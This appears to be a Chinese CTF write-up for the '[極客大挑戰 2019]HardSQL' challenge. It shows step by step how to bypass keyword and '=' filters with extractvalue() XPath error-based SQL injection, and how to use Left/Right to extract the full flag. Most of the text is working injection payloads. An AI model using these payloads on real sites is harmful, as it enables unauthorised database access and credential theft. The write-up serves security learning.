陣列2
阿新 • • 發佈:2021-10-30
[極客大挑戰 2019]HardSQL
開啟網頁,應該是這個sql注入的題
開始注入
使用萬能密碼試一下,回顯了一句話,通過常規注入回顯的都是這句話。其中union,select,order by等都被過濾了
之後發現這道題要使用xpath報錯注入,函式注入
extractvalue()
extractvalue(目標xml文件,xml路徑) 是對XML文件進行查詢的函式,函式的第二個引數是可以進行操作的地方,xml檔案中查詢使用的是/xx/xx/的格式,如果寫成其他的格式,就會報錯,並且會返回我們寫入的非法格式內容,這個非法格式的內容就是我們想要查詢的內容。
這裡我們利用concat函式將想要獲得的資料庫內容拼接到第二個引數中,報錯時作為內容輸出
最後我們使用“ ^ ”符來連線這個函式
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(database()))))%23
爆資料庫
爆出資料庫名geek,然後接著爆表
爆表
?username=admin&password=admin‘^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=’geek‘))))%23
結果回顯這個頁面,說明“=”也被過濾了,這裡我們使用like來代替"=",得到表名
爆列名
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
得三個列名,分別是“ID username password”,
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
爆資料
接下來爆資料,得到flag,但是這裡發現flag不全
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(password))from(geek.H4rDsq1))))%23
Left Right
這裡因為用extractvalue()函式,一次只能顯示32個字元,我們需要用Left,right函式拼接
先使用Left把左邊30個字元爆出來
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(Left(password,30))from(geek.H4rDsq1))))%23
再使用Right把右邊30個字元爆出來
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(Right(password,30))from(geek.H4rDsq1))))%23
連線flag即可